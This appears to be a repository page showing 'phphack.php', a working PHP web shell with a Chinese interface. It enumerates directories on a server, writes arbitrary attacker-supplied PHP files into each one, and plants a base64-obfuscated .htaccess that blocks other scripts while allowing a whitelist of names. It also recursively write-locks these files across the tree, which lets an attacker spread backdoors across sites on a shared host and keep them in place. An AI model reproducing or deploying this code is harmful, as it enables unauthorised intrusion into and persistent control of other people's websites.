-
Notifications
You must be signed in to change notification settings - Fork 0
/
phphack.php
132 lines (121 loc) · 5.61 KB
/
phphack.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
<?php
function getAllDir($path){
$dirs = array();
$files = scandir($path);
foreach ($files as $file) {
if ($file =='.' || $file == '..')
{
continue;
}
$file = $path ."/". $file;
$file = str_replace("//", "/", $file);
if(is_dir($file))
{
$dirs[] = $file;
}
}
return $dirs;
}
function clearDir($dir)
{
if (substr($dir,strlen($dir) -1) == "/")
{
$dir = substr($dir,0,strlen($dir)-1);
}
preg_match("/\/([^\/]+)\$/si", $dir, $matches);
if (isset($matches[1]))
{
return $matches[1];
}
return $dir;
}
function searchDir($path, &$htcontent, &$dir_array){
if(is_dir($path) && is_readable($path)) {
$dirs=dir($path);
while($dir=$dirs->read()) {
if($dir!='.'&& $dir!='..' && $dir!="root") {
if (is_dir($path.'/'.$dir) && is_readable($path.'/'.$dir)) {
@chmod($path.'/'.$dir.'/.htaccess', 0777);
file_put_contents($path.'/'.$dir.'/.htaccess', $htcontent);
@chmod($path.'/'.$dir.'/.htaccess', 0444);
searchDir($path.'/'.$dir,$htcontent, $dir_array);
}
}
}
$dirs->close();
}
}
function writeHtaccessToAllDirs() {
$htcontent = base64_decode("PEZpbGVzTWF0Y2ggIi4oUGhQfHBocDV8c3VzcGVjdGVkfHBodG1sfHB5fGV4ZXxwaHB8YXNwKSQiPgogT3JkZXIgYWxsb3csZGVueQogRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICJeKHBvc3Rmcy5waHB8dm90ZXMucGhwfGluZGV4LnBocHx3anNpbmRleC5waHB8bG9jazY2Ni5waHB8Zm9udC1lZGl0b3IucGhwfG1zLWZ1bmN0aW9ucy5waHB8Y29udGVudHMucGhwfGpzZGluZGV4LnBocHx3cC1sb2dpbi5waHB8bG9hZC5waHB8dGVtcGxhdGUtbG9hZC5waHApJCI+CiBPcmRlciBhbGxvdyxkZW55CiBBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPgpSZXdyaXRlRW5naW5lIE9uClJld3JpdGVCYXNlIC8KUmV3cml0ZVJ1bGUgXmluZGV4LnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiBpbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+");
$dir_array = array();
// echo dirname(__FILE__);
searchDir(dirname(__FILE__), $htcontent, $dir_array);
}
echo '<html lang="zh-cn"><head><meta charset="UTF-8"><title>跨站</title>
<style>input {margin: 10px;}</style>
</head><body><div style="margin: 0 auto; width:1100px"><div style="float: left;text-align: left;width:600px">';
echo '<form action="?ac=path" method="post">';
echo '输入: <input style="width:300px" type="text" name="path" value="" /> <br/>';
echo '<input type="submit" value="查找路径下所有目录" />';
echo '</form><br/><br/><br/><br/>';
if (isset($_GET['ac']))
{
switch ($_GET['ac'])
{
case "path":
$path = $_POST['path'];
if(file_exists($path))
{
$dirs = "";
foreach (getAllDir($path) as $item) {
$dirs .= $item . PHP_EOL;
}
echo '<textarea cols="100" rows="20" name="dirs" form="upload">' . $dirs . '</textarea> ';
echo '<br/><form action="?ac=upload" method="post" id="upload">';
echo '二级目录: <input style="width:300px" type="text" name="extend_path" value="" /> <br/>';
echo '文件名: <input style="width:300px" type="text" name="file_name" value="n1.php" /> <br/>';
echo '文件内容:<textarea cols="100" rows="20" name="file_content" form="upload"></textarea> ';
echo '<input type="submit" value="上传文件到目录" />';
echo '</form>';
}
break;
case "upload":
$dirs = explode("\n", $_POST['dirs']);
$results = "";
foreach ($dirs as $dir) {
$dir = trim($dir);
if ($dir == "") {
continue;
}
$extend = trim($_POST['extend_path']);
if ($extend != "")
{
$file = $dir ."/" . $extend . "/" . $_POST['file_name'];
} else {
$file = $dir ."/" . $_POST['file_name'];
}
$file = str_replace("//", "/", $file);
$result = file_put_contents($file, $_POST['file_content']);
$htaccess_content = base64_decode("PEZpbGVzTWF0Y2ggIi4oUGhQfHBocDV8c3VzcGVjdGVkfHBodG1sfHB5fGV4ZXxwaHB8YXNwKSQiPgogT3JkZXIgYWxsb3csZGVueQogRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICJeKHBvc3Rmcy5waHB8dm90ZXMucGhwfGluZGV4LnBocHx3anNpbmRleC5waHB8bG9jazY2Ni5waHB8Zm9udC1lZGl0b3IucGhwfG1zLWZ1bmN0aW9ucy5waHB8Y29udGVudHMucGhwfGpzZGluZGV4LnBocHx3cC1sb2dpbi5waHB8bG9hZC5waHB8dGVtcGxhdGUtbG9hZC5waHApJCI+CiBPcmRlciBhbGxvdyxkZW55CiBBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPgpSZXdyaXRlRW5naW5lIE9uClJld3JpdGVCYXNlIC8KUmV3cml0ZVJ1bGUgXmluZGV4LnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiBpbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+");
$result_htaccess = file_put_contents($dir . "/.htaccess", $htaccess_content);
if ($result != false){
if ($result_htaccess == false)
{
$results .= $dir . "\t" . ".htaccess上传失败" . PHP_EOL;
}
$results .= $dir . "\t" . clearDir($dir) . "/" . $_POST['file_name'] . PHP_EOL;
} else {
$results .= $dir . "\t" . "上传失败" . PHP_EOL;
}
}
echo '<textarea cols="100" rows="20" name="dirs" form="upload">'.$results.'</textarea> ';
break;
case "write":
writeHtaccessToAllDirs();
break;
default:
break;
}
}
echo '</div></div></body></html>';
exit();